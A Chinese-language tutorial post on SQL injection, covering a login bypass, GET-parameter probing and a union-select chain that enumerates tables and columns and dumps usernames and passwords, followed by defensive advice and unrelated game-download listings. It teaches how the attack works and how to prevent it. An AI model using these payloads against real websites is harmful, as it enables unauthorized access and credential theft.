本篇文章小编给大家分享一下SQL注入的实现以及防范代码示例解析,文章代码介绍的很详细,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看看。
什么是SQL注入
SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。
Sql 注入产生原因
我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。
登录案例讲解
select * from admin where uname='用户名' and pwd='密码'
输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)
这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。
基于GET方式的SQL注入
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。
可登陆到mituan.zone进行测试
1、''1'' LIMIT 0,1' :多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1
2、'' LIMIT 0,1':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1
3、''1'') LIMIT 0,1':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1
4、单引号、括号都不报错说明被接收的是字符串类型'"1"") LIMIT 0,1':多了一个双引号
可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1
…
SQL注入利用
1、利用order by判断字段数
order by n(n为猜测字段数)--+
以案例一为例
select login_name,password from admin where id = 'id' limit 0,1 用?id=1' order by 11--+
猜测错误时则会报错
此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。
将?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+得到下图中信息
2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)
如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句
这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据
SQL 注入的防范方法
对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
忍者必须死34399账号登录版 最新版v1.0.138v2.0.72
下载勇者秘境oppo版 安卓版v1.0.5
下载忍者必须死3一加版 最新版v1.0.138v2.0.72
下载绝世仙王官方正版 最新安卓版v1.0.49
下载Goat Simulator 3手机版 安卓版v1.0.8.2
Goat Simulator 3手机版是一个非常有趣的模拟游
Goat Simulator 3国际服 安卓版v1.0.8.2
Goat Simulator 3国际版是一个非常有趣的山羊模
烟花燃放模拟器中文版 2025最新版v1.0
烟花燃放模拟器是款仿真的烟花绽放模拟器类型单机小游戏,全方位
我的世界动漫世界 手机版v友y整合
我的世界动漫世界模组整合包是一款加入了动漫元素的素材整合包,
我的世界贝爷生存整合包 最新版v隔壁老王
我的世界MITE贝爷生存整合包是一款根据原版MC制作的魔改整